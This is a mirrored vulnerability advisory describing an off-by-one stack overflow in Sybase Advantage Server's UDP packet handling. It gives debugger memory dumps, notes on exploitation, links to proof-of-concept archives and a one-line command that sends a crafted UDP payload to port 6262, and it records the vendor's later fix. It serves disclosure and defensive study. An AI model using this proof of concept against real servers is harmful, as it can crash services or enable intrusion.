source: https://www.securityfocus.com/bid/48464/info

Sybase Advantage Server is prone to an off-by-one buffer-overflow vulnerability.

Attackers may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts may result in a denial-of-service condition.

Sybase Advantage Server 10.0.0.3 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35886.zip







#######################################################################

                             Luigi Auriemma

Application:  Sybase Advantage Server
              http://www.sybase.com/products/databasemanagement/advantagedatabaseserver
Versions:     <= 10.0.0.3
Platforms:    Windows, NetWare, Linux
Bug:          off-by-one
Exploitation: remote, versus server
Date:         27 Jun 2011 (found 29 Oct 2010)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"Advantage Database Server is a full-featured, easily embedded,
client-server, relational database management system that provides you
with Indexed Sequential Access Method (ISAM) table-based and SQL-based
data access."


#######################################################################

======
2) Bug
======


By default the Advantage server (ADS process) listens on the UDP and
TCP ports 6262 and optionally is possible to specify also a so called
"internet port" for non-LAN connections.

The problem is enough unusual and affects the code that handles a
certain type of packets on the UDP port.
In short the server does the following:
- it uses memcpy to copy the data from the packet into a stack buffer
  of exactly 0x2b8 bytes (handled as 0x2b9 bytes)
- later this data is handled as a string but no final NULL byte
  delimiter is inserted
- there is also an off-by-one bug since one byte overwrites the lower
  8bit value of a saved element (a stack pointer 017bff??)
- after this buffer are located some pushed elements and obviously the
  return address of the function
- it calls the OemToChar API that changes some bytes of the buffer
  (like those major than 0x7f) till it reaches a 0x00 that "luckily" is
  after the return address
- so also the return address gets modified, exactly from 0084cb18 to
  00e42d18 that ironically is a valid stack frame somewhat related to
  the starting of the service
- the data inside this stack address doesn't seems changeable from
  outside and has tons of 0x00 bytes that in this case act like NOPs
  till the zone around 00ebf05b where are located some pushed elements
- the EBX register contains two bytes of the attacker's data and EBP
  points to such data

the following is a resume of these operations:

 017BF66B  61 61 61 61 61 61 61 61 61 61 61 61 61 61 FF 7B  aaaaaaaaaaaaaa�{
 017BF67B  01 99 26 C1 71 BC F6 7B 01 18 CB 84 00 00 00 00  .�&�q��{..˄....
                                      |---------|
                                      original return address

 0084B81D  |. FF15 DC929000   CALL DWORD PTR DS:[<&USER32.OemToCharA>]

 017BF66B  61 61 61 61 61 61 61 61 61 61 61 61 61 61 A0 7B  aaaaaaaaaaaaaa�{
 017BF67B  01 D6 26 2D 71 2B F7 7B 01 18 2D E4 00 00 00 00  .�&-q+�{..-�....
                                      |---------|
                                      new return address

 00E42D18  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
 00E42D28  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
 ...
 00EBF04B  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
 00EBF05B  00 99 78 82 7C 4A EC 82 7C 20 00 00 00 A0 F0 EB  .�x�|J��| ...���
 00EBF06B  00 A0 F0 EB 00 00 00 00 00 68 F1 EB 00 01 00 00  .���.....h��....
 00EBF07B  00 5C F1 EB 00 D1 0F E7 77 A0 F0 EB 00 00 00 00  .\��.�.�w���....
 00EBF08B  00 51 02 02 00 EC 0F E7 77 00 D0 FD 7F 00 00 00  .Q...�.�w.��...
 00EBF09B  00 01 00 00 00 18 00 34 00 02 00 00 00 7C 0A 00  .......4.....|..
 00EBF0AB  00 14 0D 00 00 1C 75 17 00 00 00 00 00 00 00 00  ......u.........
 00EBF0BB  00 51 02 02 00 08 00 00 C0 00 00 00 00 00 00 00  .Q......�.......

 the code flow usually arrives till 00ebf0ab or other addresses close
 to it depending by the data saved there when the service started.

Now for exploiting this vulnerability would be required the presence of
a "jmp ebp" or "call ebp" or a sequence of instructions with a similar
result in the 00ebf05b zone which looks like an enough rare event.

I have not tested the Linux and NetWare platforms so I don't know if
the problem exists also there and if there are more chances of
exploiting it.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
http://aluigi.org/poc/ads_crc.zip

  udpsz -C 0012 -L ads_crc.dll -b 0x61 SERVER 6262 0x592


#######################################################################

======
4) Fix
======


No fix.

UPDATE:
vendor has fixed the bug in version 10.10.0.16 released in July 2011:
http://devzone.advantagedatabase.com/dz/content.aspx?key=44&id=ef0915fb-44c2-fe4b-ac26-9ed3359cffff


#######################################################################